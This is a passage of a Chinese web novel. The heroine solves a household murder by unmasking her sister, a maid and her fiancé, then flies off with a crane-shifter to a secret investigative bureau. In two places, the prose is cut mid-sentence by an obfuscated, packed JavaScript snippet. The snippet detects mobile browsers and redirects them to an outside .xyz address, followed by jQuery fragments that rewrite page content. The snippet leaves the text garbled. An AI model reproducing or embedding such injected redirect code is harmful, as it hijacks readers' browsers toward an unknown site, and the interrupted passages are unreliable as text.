少年说得严重,吓得其他人都是低头不语面色惨白,更有胆小的甚至开始小声啜泣起来。夏秋桐默默抬头环视了一圈,将所有人的表情都收尽眼底。
她当然知道少年所谓的暗子一说不过胡言,为了让他的出现和官府过快的行动变得合理。毕竟若死者真是藏云阁的暗桩,以沈狸双神鬼般的诡谲手段哪可能会让其被夏家的人暗害?而且旁人或许看不出来,可她却不会漏过那少年粉唇下藏蓄的那三分自得的笑意。
“宋大人。”被少年派去清查名册的捕快很快就带来了消息,“除去有买办任务外出的七名下人属下已派人去寻,其余人等共二百二十位,其中有一位下落不明。”
“哦?”那位姓宋的少年眉毛扬起,接过捕快手中的名册,“不见的那人叫什么名字?”
“禀大人,唤作陈安。”
“你们这群人可有人认得这陈安?”少年逼视着其他人道。
“回,回大人。”先前一直宽抚那名发现尸体的婢女的老妇上前鞠了个躬,“老奴是夏家的管事嬷嬷刘氏,那陈安是半月前老奴新挑买的那批下人之一,负责府里前大院扫洗的工作,昨日老奴还在庖屋见到他。”
“哦?半月前来的?”少年心里隐隐有了猜想,“那他行迹上可有什么可疑之处?你可知他现在在哪?”
“老奴也不知他的行踪。今晨本该轮到他去打扫前院的落叶,但老奴在前院巡视时没瞧见他的身影,随后就发生了这么一大桩案子,老奴也就没把他放在心上。”刘氏毕恭毕敬道,“他平日性格老实木讷,就是偶尔会对着家里的猫狗鱼鸟发笑,那笑容连老奴都瘆得慌……而且他来府中没多久,府里饲养的畜生们时不时就会死上几只,而且死相极惨,剖腹露肠。一开始老奴以为是被什么野狐野鹰啄食,后来打疑到他身上,可也没抓到什么凭证。”
“刘嬷嬷,你当时怎么不把这事告诉廖总管或爹爹?也太吓人了!”原本一直默语不发的夏冬芸忽然对着刘氏呵斥起来,“这王屠夫的死必然跟他脱不了干系!想来就是他歹害了王屠夫,又惧罪而逃!”
“是本官断案还是你断案?”少年瞪了夏冬芸一眼,后者立刻跟只鹌鹑一样缩了下脖子不敢吱声。
“宋大人。”这时,检查完尸体的仵作也走到少年身边,“初步推断死者卒于亥时到子时之间,脑后有受钝物击伤之创口,颈部亦有锐器刺入之痕。然确切死因,还须剖解尸身方可得悉……此外还有一物,大人请看。”仵作说着将手上的白布包打开,露出一只翠色镶金的玉钗子来,“这是在死者的怀袋中发现的,钗尖与死者颈部的伤口大致吻合。
“这,这不是姐姐的钗子吗!”还没等少年发问,夏冬芸就瞪大了眼睛惊叫出声,“怎会在那王屠夫的怀里?”
“这…”夏常安也认出了那只玉钗,看向夏秋桐颇为惊讶道,“桐儿,这不是为父三年前送你的生辰礼?”
“您也知道这是三年前的物什了。”夏秋桐淡淡瞧了夏常安一眼,然后像是早有准备似的朝前走了几步,微微欠身,“禀大人,小女夏秋桐,是夏家家主嫡女。此钗确实为小女之物,乃家父多年前的生辰礼,然久未施用,本存置于妆匣之中,不意数日前竟致遗失。”
“姐姐,那可是父亲的一番心意,怎丢失了也不说一声?”夏冬芸一脸不可置信的道。
“因为我怕我若将这事翻大,落了某些人的颜色,会伤及一些本就假情假意的和气。”夏秋桐瞥了眼夏冬芸,淡淡道,“可我未曾想,会有人歹毒到用它来这般害我。”
其实在原主的记忆里并没有玉钗丢失这一段,这支钗子就如原主对夏常安的父爱一般,在认清了妹妹的奸滑和父亲纵容背后的凉薄后被长久封存在了匣底最深处的角落里。所以即便钗子遗失原主也未曾察觉。
“哦?你的意思是有人偷走这钗子意图嫁祸于你?”少年沉吟道,“可这钗子确实是你所有,王二亮脖子上的伤也确实是这钗子所致。”
“那大人就不觉得奇怪吗?”夏秋桐慢条斯理地分析道,“这么大一件钗子,小女又没有眼疾,何故害了人后还任其留藏在死者身上待官府来验求时掺自己一笔?”
“其次。”夏秋桐指着地上的尸体,“死者生得高大,小女自幼体弱多病,手无缚鸡之力,若人真是小女所杀那必然是要旁人来处置尸体。可若是小女指使,又为何会选这处离小女所居甚近且每日都有下人来担水的园井沉尸?这不又是将嫌疑往自己身上引吗?”
“说得难听一些。”夏秋桐拉低了声音,眼里流出一丝冷意,“一个屠夫而已,以小女的身份或者说是夏府的资业,有无数种手段可以将此事处理的滴水不漏,将小女摘除得干干净净。而不是像现在这般半身裙子都陷在泥里。”
体弱多病…手无缚鸡之力……你还真敢说啊姑娘。想到老大先前对自己描述的关于那场战斗的细节,少年的嘴角忍不住微微一抽。
作为沈狸双安排过来的善后人员兼这场试验的副考官,少年自然知道夏秋桐是清白的,但既然是入门测验那他就不会有丝毫的放水。
于是他摩挲着下巴,继续质疑道:“你所言确实在理,但左右也不过你的辩词。钗子可能是你疏忽所致,沉尸的地点也未必不是你刻意选取,好用这左右相撞之理来显衬清白……我可问你,子时左右你在做什么?”
在和凶手……或者说是陈安搏斗。
夏秋桐心想着,就对上少年看好戏的表情。但她微微一笑,说:“小女那时已然入眠。”
“哦?”少年挑了一下眉毛,“可这也没有人能替你……”
“小女有证据。”夏秋桐打断了他。
“有意思。”少年讶然道,“那让本官好好瞧瞧,你的证据是什么?”
“大人队伍里可有懂医术之人?”
“我便是。”小宋大人昂首挺胸。
“那劳请大人为我诊脉。”夏秋桐将袖口翻上,递出雪白的右腕。
“失礼了。”少年摸出一张方帕垫在夏秋桐腕上,才并起双指为她诊脉。不一会,他的眉头就深深蹙起,看向夏秋桐的眼神里也满是迟疑。
“大人应该是看出来了吧。”夏秋桐了然道。
“你……”似乎是不可置信一般,少年又重新在夏秋桐的脉搏上一探,然后才叹声道,“你中过迷药?”
“那大人应该也能探出,小女这药是在什么时候中的吧。”夏秋桐收回手,淡淡道。
“你……不是。”少年有些恍惚。所以这女人当时是在顶着这么重剂量迷药的情况下,还硬生生逼碎老大的一颗【九命菩提】的?
他想着,忍不住默默后退了半步,觉得眼前表情淡然的夏秋桐一瞬间变得很可怕。
“ 嗯……既是如此,那你确实没有作案的能力。”少年装模作样地点了点头。毕竟夏秋桐凭证都递到这份上了,他若还是挑刺反驳,就显得同门相害故意惹事了。
虽说这同门八字还没有一撇就是了。
“大人,姐姐平素精研香学药理,脉象如何未必不可调香用药来作伪。”就在这时,脸色苍白的夏冬芸冷不丁开口道。
夏秋桐有些惊讶,没想到在这种情况下反而会是一向忙着塑造姐妹情深的夏冬芸先沉不住气。
而夏常安更是被自己闺女这番话吓了一跳,连忙呵斥道:“夏冬芸!你在说什么胡话,这可是你姐姐!”
真是个拎不清楚的。他在心里暗骂。平日里这两姐妹怎么明争暗斗他都可以不管,可现在事关云流子,稍有差池就是全家都掉脑袋的事。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14378611|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>身旁的柳氏本想搭腔帮女儿再说两句,瞧见一旁夏常安铁青的脸色也是咽了口唾沫不敢出声。
“可笑,哪有人急着把罪往自己家身上揽的?”少年喝道,“还是说你觉得本官医术不精会被轻易避弄唬骗?夏冬芸是吧,要不要你来替我诊脉。”
夏冬芸脸色明显又白了几分,身子在少年严厉的目光下忍不住地发抖。而这时夏秋桐挡在了她身前,道:“大人,小女还没有说完呢。大人就不好奇,是谁给小女下的药吗?”
“你知道?”
“还请大人去小女房中将那尊白蛇香炉取来,然后再去调一盆醋水。”
在少年的要求下,香炉和醋水很快就端了过来。夏秋桐抠动香炉的机关,从弹出的蛇口中抽出压着香饼的方匣。
“大人请看,我这尊【蛇缠砚】是早年特地寻巧手工匠定制的款式,其香盒特殊,需用特制的模具将香粉归拢压实才能塞下。所以这几年来,小女房间所用香饼都是小女自制。”夏秋桐说着将香盒递给少年,“但大人请看,这香饼有被扣取翻动的痕迹,导致手工凝压的粉质变得浮散。”
当然,以下药者的警觉,其在翻动香饼后其实又拿模具重新钿了一遍,所以夏秋桐先前闻香时故意没有将搅动的痕迹复原,使人可以一目了然的看出它被动了手脚。
毕竟不是所有人都有她这么变态的眼力与观测力,可以看出香饼压制时均力间的不同。
“你的意思是?”
“为了不让我察觉燃香的异样,下药者特地模仿了我独制的秘香【蜜花浓】来为迷药调味。但香与香之间配伍差一味一毫凝出的香就会天差地别。她并没有办法完全拟现【蜜花浓】的味道,所以选择将药压在香饼之下,这样前面一层蜜花浓先烧出香味,她的药藏在后调上也就不那么明显。”夏秋桐示意少年掰开香饼细嗅差别,“而一般香饼装炉焚烧后就不会有人再去将它取出,也就不会注意到香饼被做了手脚。所以小女才不慎中招,睡了好大一场不明不白的觉。”
少年掰开香饼,果然闻到两种极为接近但略有不同的香味,而且细看之下,粉质间的色泽也略有差别。
“那你要这醋水有何用?给你下药的又究竟是何人?”
“【蜜花浓】,是我特地攒了十七味不同季节的干花研磨而成,为了使干制的花粉能稠和成花饼,还能保持鲜亮的色泽,我用了一种叫【蜜凝兰】的花的汁液做固剂,这才是【蜜花浓】中蜜这个字的由来。”夏秋桐转身,缓缓走到某个人的身边,“你从七岁开始跟着我,你说你也想学着制香,我倾其所有来教你。可是你太笨了,你只会照着我给你的方子一味一味的入药,我跟你说草木是有灵性的,你要用鼻尖用唇齿最后用心去倾听它们的话语。但你只会觉得我在故弄玄虚,看不起你,不愿意教你真正的本事,逼着你去识香去看书,是个自私自利的大小姐。所以你才会想当然的以为蜜是蜜水,最后用蜂蜜来增加稠度——”
“醒醒吧彩佩!”拿着食盒一直低头不语的彩佩眼睁睁地看着夏秋桐走来,等她反应过来想挣扎时已然被夏秋桐一把扯过,拉住她的右手就摁进了铜盆的醋水中。
夏秋桐看着她森白的指尖刹那变成红色,寒声道:“你根本不懂香,你也不配懂香。”
“这是……”少年望着铜盆一时语塞。
“回大人,蜜凝兰的花汁本身无色,但沾了醋水后就会显现红色,这也是很多江湖道士招摇撞骗所谓诛邪现血把戏的真相。”不知道为什么,在提到江湖道士的时候夏秋桐注意到少年的表情明显一哽,“小女在香里加了很多用以固形凝香的辅料,故使得这蜜凝兰难以洗去,只要动过我的香的,必然会在醋水中现红。”
她说着,将自己的手也摁入水里,指尖自然也泛出了红色。
“小姐,我……我没…”彩佩还要辩解,就被夏秋桐狠狠瞪视。
“愚不可及。那我就给你上最后一课。”夏秋桐揪着彩佩的领子,冷冷道,“你在药里加了【春梧桐】吧,它与我香里用到的【蝶苔】合则为毒,焚烧无碍,但若是接触它们就能渗入你的肌肤逐步侵蚀你的五脏六腑。你可有觉得你这两日精气疲乏?那我告诉你,再过数日你就将容身枯槁肌全身溃烂,求生不得求死不能!!”
彩佩两腿一软,踉跄地跌倒在地,随后连忙扒住夏秋桐的大腿,涕泗横流地哀叫道:“小姐,大小姐奴婢知错了,救救奴婢吧!救救奴婢吧……都,都是……”她下意识哆嗦了一下,而后像是下定了某种决心一般哭喊着,“都是二小姐指使奴婢这么做的啊!”
7. 庶子无情
彩佩的头砰砰砰磕得震天响。
被猝然指名道姓的夏冬芸惊骇万分,忙大呼冤枉,眼见着就要张牙舞爪地去拉扯彩佩。少年眼神示意,就有两名人高马大的捕快一左一右把夏冬芸用力钳住。
“你们几个蠢货通通给我闭嘴!再敢扰乱本官评案通通拖出去杖刑!”少年一步挡在彩佩身前。在他愤恼的注视下,两眼发红就要为了女儿冲锋陷阵破口大骂的柳氏和欲言又止的夏常安不约而同地缄敛了声。
“谢大人。”彩佩心有余悸地瞄了一眼身后死死瞪着她的夏冬芸等人,将头贴伏在地上,泣声道,“奴婢受二小姐指使,于昨日午时将奴婢自制的迷香藏进大小姐的香炉中。并于昨日亥时以帮辅后厨筹备夜宴为名将杀猪匠王二亮偷引入府,带往大小姐的房间。”
“等等,你是说王二亮是你带进府中的?”少年摩挲着下巴,目光落在脸色苍白神经紧张的夏冬芸的脸上,“那夏冬芸为何要让你将他带去夏秋桐的房间?”
“回大人,二小姐私下嫉恨厌恶大小姐,故命奴婢篡编名目将王二亮约入府中。而后又令奴婢在路上将掺了催情之药的糕点喂予王二亮,并将他引去大小姐的房间。”彩佩压在地上的指尖紧扣到泛白,秋高气爽,她的额上却满是汗珠,“…那王二亮素来好色轻薄,二小姐此举,就是为了沾污大小姐的名节。”
“啧。”少年忍不住拧了下眉头,他平生最看不惯的就是这种拿女子清白名节做文章的构陷暗害。于是语气骤冷了下来,“那你当时都照办了?”
“是。”彩佩哆嗦道,“那晚不知为何阴风频起,奴婢害怕所以不敢在大小姐门前多留,但也是亲眼瞧着王二亮推门而入的,且看他当时的模样,应该已是发了药效的。”
“然后第二天他就这么死在了井里?”少年犹豫地看了夏秋桐一眼,脸上的表情不言而喻——姑娘您也好梦中杀人?
夏秋桐有些失语,冷声提醒道:“大人,小女当时还身中迷药呢。”
对哦,这姑娘…不,这女侠……这位女中豪杰当时正在跟大哥大打出手一路天崩地裂火花带电呢,怎么可能作案。
少年晃过神来,嘴角不自禁地一抽:“那就只有一种可能——”
“王二亮那晚进的并不是小女的房间。”夏秋桐替少年讲话补完,然后转身扫了脸色惨白的夏冬芸一眼,“他进的是其实夏冬芸的屋子。”
“你胡说!”夏冬芸闻言忍不住尖叫起来,“夏秋桐你个贱人!休在这里信口雌黄坏人名节!!”
总算是装不下去了啊。夏秋桐心想。
“可奴婢当时确实是将王二亮往大小姐的房间里引的……奴婢在夏府当差近十载,虽说那夜为了避开巡逻未曾掌灯,但总不至于走错……”彩佩小声道。
“你也说那晚阴风阵阵,一时恍惚也说得过去,况且,也未必不是真撞上了鬼怪,毕竟做的是这么丧良心的事。。”夏秋桐唬道,看着彩佩的脸一瞬吓得煞白。而后她与少年对视了一眼,知道对方此刻也已是心知肚明。
「不可觉察之人」。
夏冬芸这个计划里最大的败笔就是她挑选了跟陈安一样的日子作案,还不知怎的让陈安知道了。
为了保证自己的行凶过程不被影响,陈安必然要替夏秋桐将王二亮引开,而拥有「不可觉察之人」的他可以轻而易举地制造出媲美鬼打墙的路径误导。
而以穿越者们一贯的恶趣味,结合夏冬芸过于反常的表现来看,这个被祸水东引或者说自食恶果的人大概率就是她。
“不过更直接的依据在于——死者指缝里的皮垢。”夏秋桐道,“也就是说死者死前曾抓伤过凶手,也就必然会在凶手身上留下挠痕。”
指缝里的人皮组织,这也不怪仵作没有发觉,一来在这个时代,这本就是断案中容易被忽视细枝末节;二来死者指缝里满是黑青的苔泥,若不将甲垢全数仔细扫出,几乎是不可能发现里面掺余的东西的。这也足以证明夏秋桐目力之强。
而少年明显也想到了这一点,盯着夏秋桐不自然地摸了下脑袋,莫名有一种自己也被对方看穿了的感觉。
“那就你了,上去看看她身上有没有抓口。”少年对着夏秋桐扬了扬下巴。夏秋桐欠了欠身,缓步走到被扣着双肩的夏冬芸身前,却被对方一口唾沫吐在脸上。
“别,你别过来!!”夏冬芸神色惊慌,拼命地想向后缩。但捕快钳制得牢,她越是挣扎反而越是被压得不得不前倾。
夏秋桐居高临下地看着她,伸手在她小臂脖颈发后这些摸得着的地方迅速一探,却并没有试出伤口。但若要看得再深一些,这光天化日众目睽睽之下就不太合适了。
“放开我!姐,姐姐,没摸到是吗?所以我说我是被冤枉的,都是彩佩这个贱人……”许是真的被吓蒙了,方才还对着夏秋桐色厉内荏破口大骂的夏冬芸忽然闪动着泪眼,低声哀求起来。
就连她那娘亲柳氏也是再也忍受不住,不顾夏常安的阻拦双膝一跪也跟着哀声嚎啕。
好吵……少年揉了揉眉心觉得头隐隐作痛,就在他思考还要不要继续验身时,却见夏秋桐隔空给他笔了个手势,示意他稍安勿躁。
“那你知错了吗?”夏秋桐凑近夏冬芸的耳侧,压低了声音。
“姐姐……我,姐姐我错了…”夏冬芸瞧见了希望,赶忙轻声啜泣道,“是,是妹妹不该动这歹念,可姐姐你…您念念我们这么多年的姐妹情谊,念念我们夏府的情……您就饶了妹妹这么一次吧。”
“又说玩笑话了,我们哪来的姐妹情谊,夏府于我又有什么情可念的?”夏秋桐温言细语,吐息如兰,可这声音落在夏冬芸耳窝里就像刮鳞的蛇蝎般刺挠,“况且命案浇头,不论如何都得给云流子大人推出个交代,不是你,也得是其他人……而我之所以还愿意给你一个机会,就是因为这里有个比你更该死的人。”
“……”夏冬芸的表情有一瞬的凝滞,她艰难地咽了口唾沫,却没说出话来。
“你其实心里也有些猜测不是?你也觉着这起命案的真凶不该是你,但你不愿意相信,不愿意相信这真相背后的某样东西。”
“不,是……是我。是我那晚被王二亮欺身,用玉枕砸破了他的脑袋……都是我做的。”夏冬芸像是被一瞬抽去了魂魄一般喃喃自语着,“不会的,不会的……”
“事已至此,你还觉得他真的爱你吗夏冬芸?你还相信他不会害你吗?愚蠢的东西。”夏秋桐声音清冷,“你明明也有疑问不是吗?为什么他明明可以帮你把王二亮抛出府外,却还是要将其沉进我们家的井里?为什么他非要在王二亮的身上塞一根我的钗子?他到底是要害我,还是想借我的手来把你扯出来?你真的不知道这是为什么吗?”
“为…为什么……”夏冬芸的声音极轻,分不清是疑句还是叹息。
夏秋桐迎上她的眼睛,一字一顿地说:“因为他爱的不是你,更不是我,他爱的是夏家的财。所以害不成我,还可以害你。因为你我剩哪一个于他都是一样的——”
“都是傅家扬的一桩买卖罢了。”
夏冬芸仿佛瞬间被厉火点着了,她猛的拉开自己的领子露出肩头上已然结痂的挠痕,大吼着:“大人,是我!是我!那天晚上王二亮进的是我的房间,是我,与他争执中用玉枕敲碎了他的脑袋,是我杀的!是我杀的!”
少年猝不及防,望着夏秋桐露出一副你用了什么妖法让她招供的表情。夏秋桐对着他做了个噤声的手势,心底微微一叹。
果然还是要包庇吗……看来只能自己动手了。
“秋桐。”就在夏秋桐又要开口之际,一只手忽然搀扶住她。夏秋桐一抬眼,对上傅家扬满是柔情的目光,“没想到这一切居然全都是冬芸做的……幸好她自食恶果,要是出事的是你,我都不敢想我该怎么办。”
“……”夏冬芸死死瞪着傅家扬,脸上一瞬间漫上一种莫大的悲哀。她直勾勾地盯着,嘴唇颤抖,仿佛是这辈子第一次认识这位风流倜傥纯白如玉的俊俏公子。
“家扬哥哥。”她哆嗦着喃喃道,声音却被寒风卷盖,只有夏秋桐轻轻颤了下眉尖。
“为什么!家扬哥哥!为什么啊!”傅家扬终于听到了她的叫喊,但他回应的只有寒霜般的眼神和冷漠的一句:“闭嘴。”
“闭嘴……好,太好了,原来你真的没有爱过我。原来最蠢的真的是我!可笑!可笑啊夏冬芸!”夏冬芸觉得自己难过地胃都要酸拧得流出来,她猛然跪在地上不停地干呕,旁边的捕快手忙脚乱地想把她拉起来。
“大人啊!!是我,是我砸了王二亮的头,但真正杀死他的并不是我!”在傅家扬逐渐崩解的表情中,夏冬芸露出了畅意的笑容大喊着,“是傅家扬,是这个男人告诉我想跟我在一起,是他跟我说只要姐姐名节有污他就可以做主废除与姐姐的婚约,娶我过门。那天晚上也是他帮我处理的王二亮,栽害姐姐的钗子也是他放进王二亮的怀袋里的!”
“夏冬芸,你疯了。”傅家扬语气阴冷,带着警告。
“夏冬芸,就算你指认这起案件与傅家扬有关,且不论这只是你的一面之词,就算真是傅家扬替你做的处置,也无法说明王二亮是因他而死。”少年出声提醒道。
“大人且看。”这时,夏秋桐挣开傅家扬的手迎着所有人的目光站到了死者的身旁,“死者指缝青黑,布衣袖口和下装膝处皆有摩擦过的苔迹。这说明死者被推入井中时尚有生息,是被活活淹死的。大人若不信,待仵作剖解尸身查明死因,或是命人下井查辩井壁苔迹即可得证。”
“此外。”她又一步上前拉起傅家扬的衣袖,不待傅家扬反应就拉下了他的外袖翻开了他的里衣紧扎着的袖侧,“傅家扬为了栽赃小女,特意用小女的簪子扎了死者一次,可他并未留意到死者的血也溅在了他的身上。”
那被翻开的雪白内袖上果然有一点殷红的血迹。傅家扬觉得头嗡得一下瞬间炸开,他以为自己已经万分小心,在动手时还特地垫了一块手帕,外袍也一早便拿去清洗。可或许是当时天色太晚,所以他并没有发觉有血溅上了他的里衣。
那夏秋桐又是怎么知道的?
“嗅觉。”仿佛是听到他心中所想,夏秋桐点了点鼻尖,低声道,“凡存在者,必留痕迹。我从见到你的第一眼就嗅到了你身上的血味,所以我当时才暗意你自己将事情抖擞干净,这样至少不会如现在这般,将一切都扯进所有人的眼里,麻烦又不堪。”
“来人,将傅家扬给我拿下!”少年一声喝令,两边的捕快迅速上前。可傅家扬忽然神色扭曲,他反手将夏秋桐扯进怀里,另一只手滑出一把暗匕,刃锋压上夏秋桐雪白细长的脖子。
“别,你们别过来!!不然我就杀了她!!!”傅家扬声音颤抖,双眼发红,他现在其实尚有些恍惚,不愿相信就短短几句话的功夫他就从身份高贵的督令三子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14378612|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沦为阶下囚。但他还是强迫自己冷静了下来。
逃出去,只要能逃出去……还有门路,我还有门路……
傅家扬忽然觉得有些难以言喻的窒息,脊背泛上一阵阴冷。因为他突然意识到他现在所能仰仗的只有他自己培养的那一点微不足道的势力。他那位官居二品的父亲是绝不会救他的,倒不是因为督令府还不够能量,而是因为不值。
毕竟区区一个私生子。与其救下来得罪了云流子,还不如顺水推走割弃出去,还能落个大义灭亲的好名声。
傅家扬有些脱力,他哀伤地抬起眼,却看到那个唇红齿白的少年云流子露出一个极为古怪的表情。
他在惋惜和不忍些什么?难不成是为——了———我————吗——————
猝然间,傅家扬觉得眼前的视线和思考的长度被无限的拉长,紧接着他看到翻滚倒转的天地,众人扭曲模糊的脸庞,看到天空倒悬着的飞鸟,流淌的薄云里露出澄澈的天光,而他人生的走马灯正跃然其上——
随后他感受到了排山倒海无从忍受的剧痛,像一瞬间被擎天的巨峰捣烂了肚子,他连痛呼都来不及就已然失去了意识。
“咳咳。”自称身娇体弱手无缚鸡之力之力的夏秋桐拍了拍双手,然后在所有人目瞪口呆的注视下又狠狠踹了已然昏迷了的傅家扬屁股一脚。
“完工。”
捕快们闻言才后知后觉地一涌而上将傅家扬担起来,生怕这位姑奶奶再次出手将对方打死。
……
这个故事的真相简单但也令人唏嘘。
为了得到夏家的财产,在意识到夏秋桐的异心后,傅家扬勾搭上了对夏秋桐隐怨颇深的夏家二小姐夏冬芸。并诱导她买通彩佩下药,勾使王二亮污害夏秋桐名节,他好名正言顺的转嫁婚事。而少了夏秋桐后他作为夏府唯一的姑爷,无论是财权还是夏家的话语权都会往他身上更拢一层。
可他没料到,这个世界上还存在着完全无法以常理思测的存在——穿越者。潜伏在夏府的陈安听到了他们构陷夏秋桐的计划,为了不让自己那天的谋杀被打断,也出于自身的恶性,他用能力误导彩佩将中了情药的王二亮引到了夏冬芸的房间里。而夏冬芸在挣扎中失手用玉枕砸晕了王二亮,以为自己杀了人的她求请了最信赖也是最深爱的傅家扬处理尸体。但傅家扬明知王二亮没有死,却还是故意将他沉在夏府后院的水井中,还欲盖弥彰似的在他怀里塞了只夏秋桐钗子。
这样倘若衙门顺势定了夏秋桐的罪那便最好,毕竟物证齐全而夏秋桐正中迷药无人可帮其辩证。可若是衙门察觉出蹊跷挖得更深,那被抓走的也只会是夏冬芸。
而不论结果如何,他只要跟最后剩下来的那个完成婚约即可。
不过现在他这如意算盘算是崩得稀碎。傅家碍于云流子以及傅家扬的出身大概率不会下场护他,他已然是一枚弃子。
至于夏冬芸,虽说是自食恶果,但她砸晕王二亮毕竟是出于防卫,在夏秋桐不再追责后少年也就放过了她。但这并不代表夏秋桐原谅了这个所谓的妹妹,在她的要求下夏常安将其禁足在了屋里无令不可外行,连带着柳氏地位也跟着一落千丈。
“我不会原谅你,因为我没有资格替她原谅。但你若成为污点也会连累到我,而我现在还不能让夏家就这么倒去。所以……”在合上夏冬芸的房门前,夏秋桐最后再望了她一眼,她恍神着,却又是那么悲伤,“你既然嫉妒我,那就一直恨着吧,用你的余生——”
“来看我这一世会过得多么光彩。”
……
“所以你从最开始就推断出了整个案件的脉络?”幽夜,一身白衣的少年背对着月光,一荡一荡地坐在窗棂上。
“其实观测他们每个人的神色如何,真相便呼之欲出。”夏秋桐淡然道,“傅家扬太平静,夏冬芸又太不平静,再结合尸体身上的细节,想不知道答案都难。”
“我算是信了大哥的话了……话说我还有一点比较好奇,春梧桐和蝶苔真的会生成剧毒吗?我怎么完全没听说过。”
“这自然是我用来唬那彩佩的,这两味都是寻常香料,若触之生毒那这世上得死多少些调香者?不过她疏于理论只觉得自己天赋异禀,所以才会连这些都不知道。”
“诶?原来真是你编的!那蜜凝兰的那个也是你编的吗?”
“药性到不是,你不也看到她的指尖沾醋生红了吗?但是我在蜜凝兰的留余时间上说了慌,即便再怎么为蜜凝兰添加固剂,都已逾近九个时辰,期间她还可能搓洗过双手,怎么可能还会有东西残余。”
“那她的手又怎会……”
“所以我才特意让她去取些点心,还点名让她多捡些粉酥来。就是因为装粉酥的那层红纸所用的固剂正是蜜凝兰。”
“精彩!精彩!”少年抚掌大叹,“这下我是真的服气了。你确实是一个……大才!”
他说着仰头望了天边的月亮一眼,然后缓缓站起身。
“是时候了。”他踮起脚尖在窗棂上轻轻一点,身体就如弓弦般跃上半空。而几乎是同一时间他的身上长出了冰白纤长的羽毛,臂膀双足也延化成宽大的双翼与细长的鹤足,浑身上下只留有人面。
“宋炀,云樾国藏云阁云流十七,同时也是提刑司的 ‘鹤君’。”宋炀落在窗边,软下背脊,示意夏秋桐登坐上,“来吧夏姑娘,让我带你去瞧瞧这个世界的真实。”
8. 除疴之笔
“我们到了。”
鹤翼破风,夏秋桐抓紧宋炀颈后的翎羽趴在他背上,半个时辰后他们出现在了一座水乡小城的上空。
“就降落在这里吧,剩下的一点路程我们走过去,免得被夜巡的官兵发现了。”宋炀一个俯冲轻快地掠进城里,鹤趾在城墙面用力一登便化回了双足。他伸出手,想拉住失去坐力骤然坠下的夏秋桐,却觉到肩头一沉。夏秋桐单手压住他的左肩,鹞子般翻飞而起,然后稳稳地落在了地上。
“好身手。”宋炀赞了一声,耸动着双肩将最后一根羽毛缩进体内。
“这里是小湖州?”依据原主记忆里的云樾国地图,配合方位和鹤行的速度,夏秋桐很快就确定了目前所在的位置——离南安足有八十多公里,有着“天下桑丝归云樾,云樾桑尽小湖州”的丝绸之乡小湖州。
“姑娘聪慧!大哥曾说你智计近妖,我现下是越来越相信了。”宋炀说着从袖子里抖出一个折叠的笼灯,摇晃了两下这白纸折成的灯笼就亮了起来。他走在前头,“夏姑娘你跟我来。”
“这也是你们那些……道具中的一种?”夏秋桐看着那灯笼,注意到它的光晕十分稳定,不似寻常烛火那般会随风而摇。
“是也不是。它是禁物【佛掌灯】的一簇分流,只承载了它百分之一不到的力量。虽然这使得这件分流后的子体【灵掌灯】所蕴含的能量微乎其微,但同样的,使用禁物的代价也小到可以忽略不计。”宋炀将灯笼凑到夏秋桐身前,“姑娘要摸一下吗?”
夏秋桐依言将手搭上雪白的笼纸,指尖触及到了如日晒般令人舒适的温度,甚至身子也跟着莫名畅快了不少。
“不错吧,虽说效用被大幅度削弱,但【灵掌灯】还是具备一部分【佛掌灯】固魂宁神的功能的。”宋炀解说道,“这是我们提刑司新人入司的标配大礼包,你到时候应该也会被分到一盏,晚上拿来照明,白天抱着睡午觉都很不错……就是这里了。”
他们说着,在一间不算特别大的宅子门前站定。
张府……夏秋桐抬头往那宅门上的牌匾看了一眼。
“这里是我们提刑司在小湖州的分部。”宋炀叩了叩门,一边说,“我们司总部在大燕国度珑北,目前共有267处分部,而小湖州分部则是离南安最近的一处,大哥现在也在里面。”
“大哥?沈狸双吗?”夏秋桐想到了那个有着一双狐狸眼身材高大的美型圣诞树。
“嗯,他是我们司四相之一的玄武,也是我的亲亲大哥,我俩可是拜过码头的生死之交哦。”宋炀说着挺了挺胸膛,神情颇为骄傲。
门很快开了一道小缝,一个扎着两个小髻的童子探出圆滚滚的脑袋:“两位是?”
“去,将这拿去给你家张老爷看看。”宋炀从怀里摸出一块凝碧色的满圆小佩递到那童子的手上。那童子掩门而去,没一会就气喘吁吁地跑过来开门,“公子请,小姐请,我家老爷马上就到。”
宋炀和夏秋桐跟着童子来到宅院内,就见一个留着长须身材精瘦的中年男子穿过木廊快步走来。
在下令将那引路童子屏退后他对着宋炀和夏秋桐就是一鞠:“苍玄道张明涯见过两位道长,沈道长已先行步入地阁,在下这就给两位道长领路。”
说完,他毕恭毕敬地将那枚玉佩双手交还给了宋炀。
苍玄道?夏秋桐望向了宋炀,后者对她做了个噤声的手势。
张明涯带着他们绕到了后院的一间厢房门前:“那两位道长先忙,明涯不再打扰。”说罢便又是一鞠躬,掩好门后快步退下。
宋炀举起灯笼照了下这间厢房,素白干净的房间里茶案床铺木柜妆台一并俱全,桌上是正燃的铜青香案,墙上则挂了幅半人高的画卷,画上的窈窕女仙簪着玉钗,手捧银泉,脉脉含情的眼眸永恒凝望着桂树下嚼食草药的月白玉兔。
“苍玄道是什么,那位张老爷为什么会自称道士,还称我们为道长?”见宋炀打着灯左右扫眼,似乎在找着什么东西,夏秋桐出声问道。
